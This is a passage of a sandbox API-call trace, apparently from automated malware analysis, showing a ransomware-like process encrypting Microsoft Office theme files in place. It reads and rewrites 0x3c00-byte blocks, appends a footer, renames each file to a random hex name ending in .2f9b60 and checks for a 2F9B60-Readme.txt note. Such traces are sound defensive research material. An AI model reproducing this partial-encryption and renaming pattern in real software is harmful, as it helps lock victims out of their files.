[0088.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce68940) returned 1 [0088.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2210 [0088.925] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.925] WriteFile (in: hFile=0xa3c, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x24edf730, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x24edf730*=0x14e, lpOverlapped=0x0) returned 1 [0088.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0088.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85a270 [0088.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0088.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859d90 [0088.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859d90) returned 1 [0088.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd97350 [0088.929] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="09") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="7e") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="84") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="d8") returned 2 [0088.929] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="4f") returned 2 [0088.929] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="75") returned 2 [0088.929] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="a8") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="7f") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="df") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="84") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="02") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="5f") returned 2 [0088.929] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.929] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="6c") returned 2 [0088.929] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="bc") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="11") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="ce") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="70") returned 2 [0088.929] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="b3") returned 2 [0088.930] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="1a") returned 2 [0088.930] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="92") returned 2 [0088.930] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="14") returned 2 [0088.930] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="85") returned 2 [0088.930] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="52") returned 2 [0088.930] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="09") returned 2 [0088.930] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="9a") returned 2 [0088.930] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="4e") returned 2 [0088.930] RtlInitAnsiString (in: DestinationString=0x24edf7a8, SourceString="9d097e84d84f75a87fdf84025f9d6cbc11ce70b31a92148552099a4e" | out: DestinationString="9d097e84d84f75a87fdf84025f9d6cbc11ce70b31a92148552099a4e") [0088.930] RtlAnsiStringToUnicodeString (in: DestinationString=0x24edf778, SourceString="9d097e84d84f75a87fdf84025f9d6cbc11ce70b31a92148552099a4e", AllocateDestinationString=1 | out: DestinationString="9d097e84d84f75a87fdf84025f9d6cbc11ce70b31a92148552099a4e") returned 0x0 [0088.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79e070 [0088.930] wcscat (in: _Dest=0x1b7ad2a0, _Source="9d097e84d84f75" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\9d097e84d84f75") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\9d097e84d84f75" [0088.930] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\9d097e84d84f75.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\9d097e84d84f75.2f9b60" [0088.930] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\9d097e84d84f75.2f9b60", NtPathName=0x24edf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\9d097e84d84f75.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106e80 [0088.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.931] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x24edf7b8, FileInformation=0x24edf7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24edf7b8, FileInformation=0x24edf7c8) returned 0x0 [0088.932] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x24edf7b8, FileInformation=0x24edf7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.934] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.940] CloseHandle (hObject=0xa3c) returned 1 [0088.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.940] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.940] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.941] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b490) returned 1 Thread: id = 342 os_tid = 0xe88 [0088.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx")) returned 0x20 [0088.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx", dwFileAttributes=0x20) returned 1 [0088.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0088.903] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x24c2fd00 | out: lpFileSize=0x24c2fd00*=245451) returned 1 [0088.903] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x3bec7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.903] ReadFile (in: hFile=0xa44, lpBuffer=0x24c2fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24c2fcc8, lpOverlapped=0x0 | out: lpBuffer=0x24c2fc80*, lpNumberOfBytesRead=0x24c2fcc8*=0x4, lpOverlapped=0x0) returned 1 [0088.905] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0088.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.905] NtQuerySystemTime (in: CurrentTime=0x24c2fbc0 | out: CurrentTime=0x24c2fbc0*=132462176947774000) returned 0x0 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x1a7743e [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x2b43da10 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x7b1d5eb2 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x775a9842 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x6239d367 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x31d664f4 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x513837de [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x7c2bb318 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x560e8540 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x66abc31f [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x15e2a8b5 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x6a60a9d5 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x518dc01c [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x5954577c [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x7f107382 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x323cf012 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x590710d6 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x5f80da86 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x504374d9 [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x311118f [0088.905] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x3476589f [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x3712eaf5 [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x7823033d [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x7f41ba3a [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x14de4f57 [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0xea8b8b2 [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x725bad4f [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x431550ef [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x1ba14b0f [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x425e12f5 [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0xd89c569 [0088.906] RtlRandomEx (in: Seed=0x24c2fbb0 | out: Seed=0x24c2fbb0) returned 0x44ed6802 [0088.915] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.915] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce64d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesRead=0x24c2fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0088.918] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0088.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce6c550 [0088.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0088.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0088.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.919] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce6c550*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x1ce6c550*, lpNumberOfBytesWritten=0x24c2fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0088.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce6c550) returned 1 [0088.924] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.924] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce64d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesRead=0x24c2fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0088.926] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0088.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0088.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0088.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0088.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.927] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x24c2fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0088.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.932] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x382cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.932] ReadFile (in: hFile=0xa44, lpBuffer=0x1ce64d30, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x24c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesRead=0x24c2fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0088.936] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x382cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1b0) returned 1 [0088.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1b0 [0088.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.936] WriteFile (in: hFile=0xa44, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x24c2fc20, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x24c2fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0088.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2210 [0088.943] SetFilePointerEx (in: hFile=0xa44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.943] WriteFile (in: hFile=0xa44, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x24c2fcd0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x24c2fcd0*=0x14a, lpOverlapped=0x0) returned 1 [0088.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0088.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0088.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a300) returned 1 [0088.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0088.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a300 [0088.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0088.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0088.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0088.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f970 [0088.947] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="b0") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="22") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="61") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="42") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="d3") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="64") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="e6") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="1b") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="2f") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="55") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="f0") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="e8") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="5c") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="3a") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="25") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="b5") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="cc") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="60") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="02") returned 2 [0088.947] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="4c") returned 2 [0088.948] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="e8") returned 2 [0088.948] sprintf (in: _Dest=0x1cd9f99c, _Format="%c%c" | out: _Dest="c0") returned 2 [0088.948] sprintf (in: _Dest=0x1cd9f99e, _Format="%c%c" | out: _Dest="a4") returned 2 [0088.948] RtlInitAnsiString (in: DestinationString=0x24c2fd48, SourceString="b0226142d364e61b2f55f09de85c3a25b5cc60024ce8c0a4" | out: DestinationString="b0226142d364e61b2f55f09de85c3a25b5cc60024ce8c0a4") [0088.948] RtlAnsiStringToUnicodeString (in: DestinationString=0x24c2fd18, SourceString="b0226142d364e61b2f55f09de85c3a25b5cc60024ce8c0a4", AllocateDestinationString=1 | out: DestinationString="b0226142d364e61b2f55f09de85c3a25b5cc60024ce8c0a4") returned 0x0 [0088.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1f70 [0088.948] wcscat (in: _Dest=0x1b7ad2a0, _Source="b0226142d364" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\b0226142d364") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\b0226142d364" [0088.948] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\b0226142d364.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\b0226142d364.2f9b60" [0088.948] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\b0226142d364.2f9b60", NtPathName=0x24c2fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\b0226142d364.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x106e80 [0088.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.949] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.949] NtQueryInformationFile (in: FileHandle=0xa44, IoStatusBlock=0x24c2fd58, FileInformation=0x24c2fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24c2fd58, FileInformation=0x24c2fd68) returned 0x0 [0088.949] NtSetInformationFile (FileHandle=0xa44, IoStatusBlock=0x24c2fd58, FileInformation=0x24c2fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 [0088.952] FlushFileBuffers (hFile=0xa44) returned 1 [0088.953] CloseHandle (hObject=0xa44) returned 1 [0088.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0088.954] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.954] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0088.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b520) returned 1 Thread: id = 343 os_tid = 0xe8c [0088.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx")) returned 0x20 [0088.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx", dwFileAttributes=0x20) returned 1 [0088.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 